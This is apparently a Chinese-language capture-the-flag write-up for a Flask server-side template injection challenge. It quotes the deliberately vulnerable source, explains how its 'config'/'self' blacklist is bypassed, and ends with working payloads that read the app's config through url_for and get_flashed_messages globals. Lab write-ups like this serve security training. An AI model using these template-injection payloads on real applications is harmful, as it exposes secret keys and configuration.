拖了好几天,还是把wp写下来吧
首先打开靶场,我们会发现,直接把源码就给你了
我们查看源代码会更舒服点,贴到这里:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
app.config['FLAG'] = os.environ.pop(''FLAG)
这一句,我们可以发现,FLAG是在config中,那我们是不是可以直接访问{{config}},先不看这个,我们接着往下看
主页路由就是读出这个文件的代码。没有我们可以控制的地方,所以继续往下看
我们发现路由注册/shrine/<path:shrine> # path可控
然后有一个视图函数,在视图函数还声明了safe_jinja()的函数,需要接受一个参数s,返回一个字符串
大概就是,如果你传入config,或者是self.config的时候,都会将其置为None.自然我们读不到config配置下的flag值。
这就验证了上一个我们无法用{{config}}去找flag
而且,我们还发现了flask.render_template_string()这个函数,SSTI肯定就在这里
好了了解代码之后,我们就开始实际注入了
当作表达式执行了,于是我们开始去找payload,这里self,和config肯定不能用了,被过滤掉了
不过,python还有一些内置的函数,比如url_for和get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。
把字符串对象表示的消息加入到一个消息队列中,
然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
有了这些内置函数,我们再看看他们的globals列表
我们发现了这个,那它是不是就是现在的app呢?于是我们payload,{{url_for.__globals__['current_app'].config}}
然后我们就拿到了flag
flag{73e221d4-0d85-470f-9c97-e1dd9026de7d}
这是利用了python的一些内置的函数,然后进行它这个函数的绕过。然后就行访问。
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}